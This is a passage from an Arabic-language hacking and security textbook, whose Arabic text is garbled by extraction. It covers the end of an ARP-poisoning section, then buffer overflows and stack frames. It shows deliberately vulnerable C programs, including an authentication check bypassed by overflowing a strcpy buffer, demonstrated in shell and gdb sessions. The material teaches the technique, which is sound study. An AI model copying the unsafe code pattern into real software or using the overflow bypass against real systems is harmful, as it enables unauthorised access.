the protocol address length, the ARP packet type, the sender hardware address, the sender
protocol address, the target hardware address, the target protocol address,
the packet payload, the payload size, and finally, a pointer to the packet header memory.
(5)
‫ال‬ ‫ذذه‬ ‫تأيت‬ ‫م‬ُ‫ث‬
function
:
libnet_write_link_layer()
‫بعمل‬ ‫لتقوم‬
write
‫ال‬ ‫هلذه‬
packet
‫ال‬ ‫لىل‬
device
‫ال‬ ‫بعملية‬ ‫ليقوم‬
inject
.
‫ال‬ ‫تقوم‬ ‫النهاية‬ ‫ويف‬
libnet_destroy_packet(&pkt)
‫بعمل‬
free
‫لل‬
memory
‫خت‬ ‫تم‬ ‫التي‬
‫لل‬ ‫صيصها‬
Packet
.
‫ال‬ ‫ق‬‫ل‬َ‫غ‬ ‫م‬ُ‫ث‬
"
low-level interface
"
‫ال‬ ‫ذذه‬ ‫باستخدام‬ ً‫ا‬‫أطري‬
function
:
libnet_close_link_interface
‫قد‬ ‫نكون‬ ‫ِبذا‬
‫ال‬ َ‫ن‬‫م‬ ‫انتهينا‬
“ARP Poisoning”
.
‫ال‬ ‫وذي‬ ‫الشهرية‬ ‫الثغرات‬ ‫من‬ ‫نوع‬ ‫عن‬ ‫لنتكلم‬ ‫اآلن‬ ‫سننتقل‬
“Buffer Overflow”
.
Buffer Overflow
‫ال‬
Buffer Overflow
‫ال‬ ‫مع‬ ‫تعاملها‬ ‫يف‬ ‫الربامج‬ ‫لدى‬ ‫الضعف‬ ‫قاط‬‫ن‬ ‫تستغل‬ ‫لهنا‬ ،‫االطرتاق‬ ‫يف‬ ‫الشهرية‬ ‫ق‬ ُ‫ر‬ُ‫ط‬‫ال‬ ‫من‬
memory
‫الربنامج‬ ‫ري‬ َ
‫س‬ ‫يف‬ ‫ُم‬‫ك‬َ‫َح‬‫ت‬‫ال‬ ‫ذو‬ ‫الثغرات‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫من‬ ‫اهلدف‬ ‫ويكون‬ ،
“the execution flow”
‫ليقوم‬
‫بتنفيذ‬
instructions
‫أو‬
malicious code
ٍ‫مكان‬ ‫يف‬ ُ‫ه‬‫ع‬ َ
‫َض‬‫ن‬
‫ال‬ ‫داطل‬ ‫ما‬
memory
.
‫بال‬ ‫امرسات‬ُ‫مل‬‫ا‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬
“Execution of arbitrary code”
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[244]
‫بتخصيص‬ ‫ربجمني‬ُ‫مل‬‫ا‬ ‫أحد‬ ‫قام‬ ‫لذا‬ ً‫ال‬‫قمث‬
buffer
‫نا‬‫م‬ ‫ل‬‫ستقب‬َ‫ي‬‫ل‬
inputs
،
‫ال‬ ‫ذذا‬ ‫وكان‬
buffer
‫ي‬
‫س‬
‫ب‬‫توع‬
6 bytes
،
ُ‫ق‬‫ق‬
‫منا‬
‫بإدطال‬ ُ‫نحن‬
8 bytes
‫ث‬ُ‫حيد‬ ‫قسوف‬ ،!‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬
Overflow
‫ال‬ ‫هلذا‬
buffer
.
‫بال‬ ‫اإلجراء‬ ‫ذذا‬ ‫سمى‬ُ‫ي‬
Buffer Overrun
‫أو‬
Buffer Overflow
،
‫ال‬ ‫ألن‬
2 bytes
‫املساح‬ ‫عن‬ ‫الزائدين‬
‫ة‬
َ
‫صص‬َ‫خ‬ُ‫مل‬‫ا‬
‫ة‬
‫األزم‬ ‫ذذه‬ ‫يف‬ ‫سيتسببان‬
‫ة‬
‫ال‬ ..
“Overflow”
.‫ث‬‫احلاد‬
‫من‬ ‫حالة‬ ‫يوضح‬ ‫مثال‬ ‫ذذا‬
‫ال‬ ‫حاالت‬
BOF
.
‫اكتشاقها‬ ‫تم‬
‫طاصية‬ ‫تفعيل‬ ‫أثناء‬
‫التصحيح‬
‫يف‬ ‫اإلمالئي‬
‫برنامج‬
‫ال‬
Word
.
“Buffer Overrun Detected error after you installs Office 2003 Service Pack 3 for Hebrew”
The Hebrew version of Microsoft Office Word 2003 Service Pack 3 may stop responding when
you run a spelling and grammar check or when you use a custom dictionary that was created
before Service Pack 3.
You may receive the following error message:
Microsoft Visual C ++ Runtime library
buffer overrun detected! Program: C:Program FilesMicrosoft OfficeOffice11Winword.exe, A
buffer overrun has been detected which has corrupted the program's internal state. The program
cannot safely continue execution and must now be terminated.
‫س‬
‫بس‬ ‫مثال‬ ‫نأطذ‬
‫الثغرة‬ ‫ذذه‬ ‫ث‬ُ‫د‬ َ
‫حت‬ ‫كيف‬ ‫لنفهم‬ ‫يط‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[245]
‫تأمل‬
‫عي‬َ‫م‬
‫ذ‬
:‫الكود‬ ‫ذا‬
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
int value = 5;
char buffer_one[8], buffer_two[8];
strcpy(buffer_one, "one"); /* Put "one" into buffer_one. */
strcpy(buffer_two, "two"); /* Put "two" into buffer_two. */
printf("[BEFORE] buffer_two is at %p and contains '%s'n",
buffer_two, buffer_two);
printf("[BEFORE] buffer_one is at %p and contains '%s'n",
buffer_one, buffer_one);
printf("[BEFORE] value is at %p and is %d (0x%08x)n", &value,
value, value);
printf("n[STRCPY] copying %d bytes into buffer_twonn",
strlen(argv[1]));
strcpy(buffer_two, argv[1]); /* Copy first argument into
buffer_two. */
printf("[AFTER] buffer_two is at %p and contains '%s'n",
buffer_two, buffer_two);
printf("[AFTER] buffer_one is at %p and contains '%s'n",
buffer_one, buffer_one);
printf("[AFTER] value is at %p and is %d (0x%08x)n", &value,
value, value);
}
:‫الكود‬ ‫ذذا‬ ‫يف‬
‫استقبال‬ ‫دد‬ َ
‫ص‬‫ب‬ ُ‫َحن‬‫ن‬
input
ُ‫مل‬‫ا‬ ‫ن‬‫م‬
‫ال‬ ‫وذو‬ ‫م‬‫َخد‬‫ت‬‫س‬
argv[1]
‫ال‬ ‫يف‬ ‫وضعه‬‫ب‬ ‫َقوم‬‫ن‬‫ل‬
buffer_two
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[246]
‫بإداطل‬ ‫سنقوم‬
Input
ً‫ال‬‫مث‬ ..‫عشوائية‬
“1234567890”
‫ل‬ّ‫د‬َ‫ع‬ُ‫م‬‫ب‬
10 bytes
،
‫أهنا‬ ‫الحظ‬
char array
‫ستتعامل‬ ‫أهنا‬ ‫أي‬
‫ال‬ ‫مع‬
‫وكأنه‬ ‫رقم‬
char
‫قسيشغل‬
1 byte
‫ققط‬
.
:‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff7f0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7f8 and contains 'one'
[BEFORE] value is at 0xbffff804 and is 5 (0x00000005)
[STRCPY] copying 10 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7f0 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff7f8 and contains '90'
[AFTER] value is at 0xbffff804 and is 5 (0x00000005)
reader@hacking:~/booksrc $
‫السط‬ ‫يف‬ ‫ُالحظ‬‫ن‬
‫ال‬ ‫ر‬
bold
‫حدوث‬ ‫تم‬ ‫أنه‬
Overflow
‫وضع‬ ‫اولة‬ ُ
‫حم‬ ‫بسبب‬ ،‫بالفعل‬
10 bytes
‫ص‬ ّ
‫ص‬ ُ
‫ُم‬ ‫تغري‬ُ‫م‬ ‫داطل‬
‫ب‬‫يستوع‬‫ل‬
8 bytes
.‫ققط‬
‫ال‬ ‫ذذه‬ ‫قامت‬ ‫وبالتايل‬
2 bytes
‫الزائد‬
‫ة‬
‫بعمل‬
overflow
‫تغري‬ُ‫للم‬
buffer_one
‫ال‬ ‫ألن‬ ‫وذذا‬ ..‫لنا‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫كام‬
buffer
‫ال‬
‫زائد‬
‫ة‬
‫املألوف‬ ‫عن‬
‫ب‬ِّ‫ب‬‫ُس‬‫ت‬
overflow
‫تغ‬ُ‫للم‬
‫األطرى‬ ‫ريات‬
‫القريب‬
‫ة‬
‫منها‬
‫ال‬ ‫داطل‬
memory
.
‫لدطال‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫س‬
input
:‫ث‬ُ‫حيد‬ ‫ما‬ ‫ُشاذد‬‫ن‬‫و‬ ً‫ا‬‫نسبي‬ ‫كبرية‬
reader@hacking:~/booksrc $ ./overflow_example
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff7e0 and contains 'two'
[BEFORE] buffer_one is at 0xbffff7e8 and contains 'one'
[BEFORE] value is at 0xbffff7f4 and is 5 (0x00000005)
[STRCPY] copying 29 bytes into buffer_two
[AFTER] buffer_two is at 0xbffff7e0 and contains
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff7e8 and contains
'AAAAAAAAAAAAAAAAAAAAA'
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[247]
[AFTER] value is at 0xbffff7f4 and is 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $
‫املتغري‬ ‫أن‬ ‫الحظ‬
“int value 5”
‫حدث‬ ً‫ا‬‫أيض‬
‫له‬
overflow
.!‫املرة‬ ‫ذذه‬
‫ال‬ ‫سنزيد‬
Buffer
:‫الكود‬ ‫ذذا‬ ‫لنخترب‬ ‫أكثر‬
reader@hacking:~/booksrc $ ./notesearch
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ end of note data ]-------
Segmentation fault
reader@hacking:~/booksrc $
‫دوث‬ ُ‫ح‬ ‫يف‬ َ
‫َسبب‬‫ت‬ ‫قد‬ ُ‫ه‬‫أن‬ ‫ظ‬‫ُالح‬‫ن‬
crash
.‫للربنامج‬
The Stack
..‫نبدأ‬ ‫أن‬ ‫قبل‬
‫س‬
‫عض‬َ‫ب‬‫ب‬ ‫ك‬ ُ‫ِّر‬‫ك‬َ‫ذ‬ُ‫أ‬
ً‫ا‬‫سابق‬ ‫ناقشناذا‬ ‫التي‬ ‫املعلومات‬
‫ماييل‬ ،
‫كتاب‬ ‫من‬ ‫األسطر‬ ‫بعض‬
“the shellcoder’s handbook”
:
"When a program is executed, it is laid out in an organized manner—various elements of the
program are mapped into memory. First, the operating system creates an address space in which
the program will run. This address space includes the actual program instructions as well as any
required data. Next, information is loaded from the program’s executable file to the newly
created address space. There are three types of segments: .text, .bss, and .data. The .text segment
is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[248]
reserved for global variables. The .data segment contains static initialized data, and the .bss
segment contains uninitialized data. The final segment, .text, holds the program instructions.
Finally, the stack and the heap are initialized".
↑ Lower addresses (0x08000000)
Shared libraries
.text
.bss
Heap (grows ↓)
Stack (grows ↑)
env pointer
Argc
↓ Higher addresses (0xbfffffff)
‫ال‬ ‫مع‬ ‫نتعامل‬ ‫ُنا‬‫ك‬ ‫متى‬ ‫تتذكر‬ ‫ذل‬
Stack
..
‫؟‬
‫معها‬ ‫تعاملنا‬
‫ندما‬‫ع‬
‫ا‬
‫حت‬
‫جنا‬
‫لجراء‬
Function Call
.
‫س‬
‫ذ‬ ُ
‫نأط‬
‫ُزذ‬‫ن‬
‫ة‬
‫طفيف‬
‫ة‬
‫ال‬ ‫ل‬‫داط‬
Stack
‫و‬
‫عملية‬
‫ال‬
Function Call
.!‫ذذه‬
Let’s think about what happens in a function call:
 When a function call is executed, the arguments need to be evaluated to values.
 Then, control flow jumps to the body of the function, and code begins executing there.
 Once a return statement has been encountered, we're done with the function, and return back to
the function call.
‫لية‬َ‫م‬َ‫ع‬ ‫ُل‬‫ك‬‫ل‬
“function call”
،
‫ال‬ ‫يف‬ ‫ن‬ّ‫َكو‬‫ت‬َ‫ي‬
Stack
‫ال‬ ‫ه‬‫ذ‬‫هل‬ ‫ص‬ ّ
‫ص‬ ُ‫ُم‬ ‫زء‬ ُ‫ج‬
function
‫عليه‬ ‫ُطلق‬‫ن‬ .
“Stack Frame”
.
‫بال‬ ‫يبدأ‬ ‫صغري‬ ‫برنامج‬ ‫داطل‬ ‫أننا‬ ً‫ا‬‫مع‬ ‫لنتخيل‬
main( )
،
‫ال‬ ‫تكون‬ ُ
‫يث‬ َ‫ح‬
Stack
‫اهليئة‬ ‫ذذه‬ ‫عىل‬ ‫حينها‬
،
‫يف‬ ‫يبدو‬ ‫كام‬
،‫التالية‬ ‫الصفحة‬
‫يف‬
‫رقم‬ ‫الشكل‬
(
1
)
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[249]
‫ترى‬ ‫كام‬
‫ال‬ ‫يظهر‬
stack frame
‫بال‬ ‫اخلاص‬
main( )
،
‫ال‬ ‫شري‬ُ‫ي‬‫و‬
Stack Pointer (SP)
‫ال‬ ‫بداية‬ ‫لىل‬
Function
‫ال‬ ‫ذذا‬ ‫يظهر‬ .
Frame
‫ال‬ ‫تبدأ‬ ‫عندما‬
main( )
.‫عملها‬
‫وجود‬ ‫لنتخيل‬
function
‫أطرى‬
‫هلا‬ ‫حيدث‬
call
‫من‬
‫ال‬ ‫داطل‬
main( )
،
‫اسمها‬
foo( )
.
‫ال‬ ‫ذذه‬
foo( )
ً‫ال‬‫مث‬ ‫تأطذ‬
Two Arguments
،
‫ال‬ ‫ذذه‬
Arguments
‫حاج‬‫ب‬ ‫َكون‬‫ن‬ َ
‫س‬
‫ة‬
‫ال‬ ‫يف‬ ‫هم‬‫ضع‬َ‫و‬‫ل‬
Stack
.
‫س‬
‫تقوم‬
foo( )
‫عملي‬ ‫بإجراء‬ ‫ذذه‬
‫ة‬
‫حسابي‬
‫ة‬
‫ال‬ ‫وذو‬ ‫النانج‬ ‫ولرجاع‬
return value
‫ال‬ ‫لىل‬
main( )
‫اعتدنا‬ ‫كام‬
.‫قبل‬ ‫من‬
‫ال‬ ‫شكل‬ ‫يكون‬
stack
‫كام‬
‫يظهر‬
‫رقم‬ ‫الشكل‬ ‫يف‬
(
2
)
:
‫ل‬َ‫م‬َ‫ع‬ ‫تم‬
Push
‫لل‬
Arguments
‫بال‬ ‫اخلاصة‬
foo( )
‫ال‬ ‫لىل‬
Stack
،
‫ال‬ ‫انتقل‬ ‫ثم‬
Stack Pointer
ُ
‫حيث‬ ‫لىل‬ ‫شري‬ُ‫ي‬‫ل‬
‫ال‬
Return value
‫ال‬ ‫ذذا‬ ..
Return value
‫سابه‬‫ح‬ ‫سيتم‬
‫بواسطة‬
foo( )
.
‫ال‬ ‫ذذه‬ ‫ملئ‬ ‫سيتم‬ ‫وبالتايل‬
space
‫بع‬
‫أن‬ ‫د‬
‫تنتهي‬
foo( )
‫عملها‬ ‫ن‬‫م‬
.
‫ال‬ ‫وضع‬ ‫بعد‬
Arguments
،
‫بام‬ُ‫ر‬
‫مت‬
‫تلك‬
‫ال‬ ‫ذذه‬
function
‫ال‬ ‫من‬ ‫عدد‬
local variables
..
‫تحتاج‬ َ
‫س‬
foo( )
َ‫ع‬‫ل‬
‫ل‬َ‫م‬
push
‫ال‬ ‫عىل‬ ‫ما‬ ٍ‫ساحة‬‫مل‬
Stack
‫كي‬
‫مها‬‫تستخد‬
‫ل‬
‫ع‬‫ض‬َ‫و‬
‫ذذه‬
‫ال‬
"
Local Variables
"
‫ولجراء‬
‫عملياهتا‬
.
Figure 1
Figure 2
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[250]
‫التايل‬ ‫الشكل‬
،
‫رقم‬
(
3
)
‫ست‬ ‫ما‬ ‫يوضح‬
‫ال‬ ‫عليه‬ ‫بدو‬
Stack
:‫التعديالت‬ ‫ذذه‬ ‫بعد‬
Figure 3
‫ال‬ ‫تكوين‬ ‫تم‬ ‫د‬َ‫ق‬َ‫ل‬
Frame
‫بال‬ ‫اخلاص‬
foo( )
‫ال‬ ‫وانتقل‬
Stack Pointer
‫داطل‬
‫ال‬
foo( )
.
‫ال‬ ‫ينتقل‬ ‫ملاذا‬
SP
‫لليها؟‬
‫أل‬
‫ال‬ ‫عملية‬ ‫ن‬
allocation
‫ب‬ ‫اخلاصة‬ ‫للمساحة‬
foo( )
‫بعمل‬ ‫ستتم‬
decrement
‫لل‬
ESP
‫ال‬ ‫ينتقل‬ ‫وبالتايل‬ ،
SP
‫هلذه‬
‫اجلديد‬ ‫املساحة‬
‫ة‬
.
‫ال‬ ‫ذذا‬ ‫ما‬ ‫ولكن‬
FP
‫ظهرلنا؟‬ ‫الذي‬
..
‫ال‬ ‫لنه‬
“Frame Pointer”
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[251]
‫لىل‬ ‫شري‬ُ‫ي‬ ‫اليشء‬ ‫ذذا‬
‫ال‬
Address
‫ال‬ ‫عليه‬ ‫ف‬‫ق‬َ‫ي‬ َ‫كان‬ ‫الذي‬
Stack Pointer
َ‫م‬‫تقو‬ ‫أن‬ ‫قبل‬
foo( )
‫ال‬ ُ
‫حيث‬ ‫لىل‬ ‫تحريكه‬‫ب‬
Local Variables
.‫ِبا‬ ‫اخلاصة‬
Points to the location where the stack pointer was, just before foo( ) moved the stack pointer
for foo( )'s own local variables.
‫ع؟‬‫املوض‬ ‫ذلك‬ ‫لىل‬ ‫شري‬ُ‫ي‬ ‫وملاذا‬
‫ال‬ ‫يتمكن‬ ‫كي‬
Stack Pointer
‫بالعودة‬
‫لليه‬
‫تنتهي‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬
foo( )
‫عملها‬ ‫من‬
.
‫؟‬ً‫ا‬‫لذ‬ ‫يعود‬ ‫كيف‬
‫بتنفيذ‬
instruction
:‫ِبذه‬ ‫أشبه‬
move [%EBP, %ESP]
‫ال‬ ‫قينتقل‬
SP
‫ال‬ ‫لىل‬
FP
‫حدوث‬ ‫ذلك‬ ‫ويسبب‬
reduce
‫لل‬
stack
.
‫الشكل‬ ‫يف‬ ‫موضح‬ ‫ذو‬ ‫كام‬
‫رقم‬
(
4
(
Figure 4
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[252]
‫لك‬ ‫سأوضح‬
‫ال‬ ‫عملية‬
function call
‫عميل‬ ‫بمثال‬
..
‫بالرتتيب‬ ‫اخلطوات‬ ‫ماييل‬
:
1. Push the parameters in the reverse order (right to left).
2. "Call" function now. It implicitly pushes the return address into STACK.
[[ call func ]]
‫(انتبه‬
!
..
‫ال‬ َ‫بني‬ ‫ط‬‫ل‬ َ
‫خت‬ ‫ال‬
return address
‫وال‬
return value
)
------ Now enters the called procedure ------
3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do
this to continue with the execution of calling function after return from the called
function. [[ pushl %ebp ]]
4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER)
[[ movl %esp, %ebp ]]
5. Allocate space on stack for local variables. It's done by decrementing ESP.
[[ subl $4, %esp ]]
------ Do some processing ------
6. Put the value to be returned in EAX.
----- Start unwinding STACK ------
7. Copy current EBP to ESP, it will reduce stack's size. Now we have old FP at the top of
the stack.
[[ movl %ebp, %esp]]
8. Pop a 32 bit value (which is old frame pointer) and stuff it into EBP. (undoing Step 3)
[[ popl %ebp ]]
9. The "ret" instruction pops a 32 bit value from the stack and stuffs into the program
counter.
[[ ret ]]
** Steps 7 and 8 are combined in single instruction "leave".
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[253]
‫بال‬ ‫اخلطوات‬ ‫ذذه‬ ‫لنشاذد‬ ‫واآلن‬
Assembly code
:
func1:
pushl %ebp <-- Step 3, Push EBP
movl %esp, %ebp <-- Step 4, Copy ESP -> EBP
subl $4, %esp <-- Step 5, Create space on stack for t
movl $8, -4(%ebp) <-- Initialize "t" to 8
movl -4(%ebp), %eax <-- Step 6, Copy "t" to EAX
addl 8(%ebp), %eax <-- Step 6, Add "c" to EAX
leave <-- Step 7 and 8:
7: Restore ESP (EBP -> ESP)
8: Restore EBP (Pop STACK -> EBP)
ret <-- Step 9, (Pop STACK -> Program Counter)
main:
.........
pushl a <-- Step 1, push parameters
call func1 <-- Step 2, call func1
addl $16, %esp
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
movl %eax, c
.........
‫مقتبس‬ ‫املثال‬
‫موقع‬ ‫من‬
articles.manugarg.com
Stack Overflow
‫ال‬ ‫به‬ ‫ُوضح‬‫ن‬‫ل‬ ‫ثال‬‫م‬ ‫ذ‬ ُ
‫سنأط‬
Stack Overflow
.
‫عن‬ ‫عبارة‬ ‫كود‬ ‫ييل‬ ‫ما‬
Function
‫ال‬ ‫ن‬‫م‬ ‫استدعاؤذا‬ ‫م‬‫ت‬َ‫ي‬
main( )
‫ال‬ ‫ل‬َ‫م‬َ‫ع‬َ‫ب‬ ‫تقوم‬‫ل‬
user authentication
‫طريق‬ ‫عن‬
ٍ‫بقيمة‬ ‫ها‬‫َت‬‫ن‬‫قار‬ُ‫بم‬ َ‫ي‬‫ذ‬ ‫تقوم‬‫ل‬ ،‫رور‬ُ‫مل‬‫ا‬ ‫ة‬َ‫م‬‫َل‬‫ك‬‫ل‬ ‫تابتك‬‫ك‬
.‫النتائج‬ ‫ض‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬ ،‫ما‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[254]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
int auth_flag = 0;
char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
printf(" Access Granted.n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
} else {
printf("nAccess Denied.n");
}
}
‫املثال‬ ‫يف‬ ‫ر‬َ‫ظه‬َ‫ي‬
check_
authentication( )
‫باستقبال‬ ‫ستقوم‬
argv[1]
‫ال‬ ‫من‬
user
،‫رور‬ُ‫مل‬‫ا‬ ‫َلمة‬‫ك‬ ‫وذي‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[255]
‫ال‬ ‫يف‬ ‫بوضعها‬ ‫لتقوم‬
password_buffer
‫بالقيمة‬ ‫ها‬‫قارنت‬ُ‫م‬ ‫م‬ُ‫ث‬
“brilling”
‫أو‬
“outgrabe”
‫بارة‬‫ع‬ ‫ة‬َ‫باع‬‫ط‬ ‫م‬‫ت‬َ‫ي‬‫ل‬
“Access
Granted”
.
:‫الكود‬ ‫ذذا‬ ‫ُجرب‬‫ن‬‫ل‬ ‫ذيا‬..
reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow
Usage: ./auth_overflow <password>
reader@hacking:~/booksrc $ ./auth_overflow test
Access Denied.
reader@hacking:~/booksrc $ ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $
‫رور‬ُ‫م‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫لدطالنا‬ ‫ند‬‫ع‬ ‫ظ‬‫ُالح‬‫ت‬ ‫َام‬‫ك‬
test
‫سالة‬‫ر‬ ‫لنا‬ ‫ت‬ َ‫ر‬َ‫ه‬َ‫ظ‬
Access Denied
.!
‫اول‬ ُ
‫حم‬ َ‫ند‬‫ع‬ ‫ولكن‬
‫لدطال‬ ‫ة‬
input
‫ال‬ ‫عىل‬ ‫صول‬ُ‫حل‬‫ا‬ ‫يف‬ ‫ب‬ّ‫ب‬‫تس‬َ‫ي‬ ‫ا‬‫ُم‬ ‫الربنامج‬ ‫ري‬ َ
‫س‬ ‫يف‬ ‫لل‬َ‫خل‬‫ا‬ ‫دوث‬ ُ‫ح‬ ‫ُالحظ‬‫ن‬ َ
‫س‬ ‫الالزم‬ َ‫ن‬‫م‬ ‫أكرب‬
Access
.!‫املرور‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫تابة‬‫ك‬‫ل‬ ‫احلاجة‬ ‫بدون‬
reader@hacking:~/booksrc $ ./auth_overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $
‫ال‬ ‫بدون‬ ‫الدطول‬ ‫من‬ ‫ا‬‫متكن‬ ‫لقد‬
Password
.!
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[256]
‫ال‬ ‫باستخدام‬ ‫الربنامج‬ ‫تشغيل‬‫ب‬ ‫نقوم‬ َ
‫س‬ ..‫تفصييل‬ ‫شكل‬‫ب‬ ‫حدث‬ ‫ما‬ ‫ُشاذد‬‫ن‬ َ
‫َعال‬‫ت‬
Debugger
،
‫بوضع‬ ‫ونقوم‬
Breakpoint
‫ال‬ ‫َسخ‬‫ن‬ ‫ملية‬َ‫ع‬ ‫ند‬‫ع‬
buffer
،
‫ال‬ ‫ند‬‫ع‬ ‫وآطر‬
return value
‫بال‬ ‫اخلاص‬
check_authenticaion( )
.
reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/auth_overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[257]
Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats
30 times>) at
auth_overflow.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7a0: ")????o??????)205004b?o??p???????"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) print 0xbffff7bc - 0xbffff7a0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb)
(gdb) continue
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats
30 times>) at
auth_overflow.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc: 65 'A' 65 'A' 0 '0' 0 '0'
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
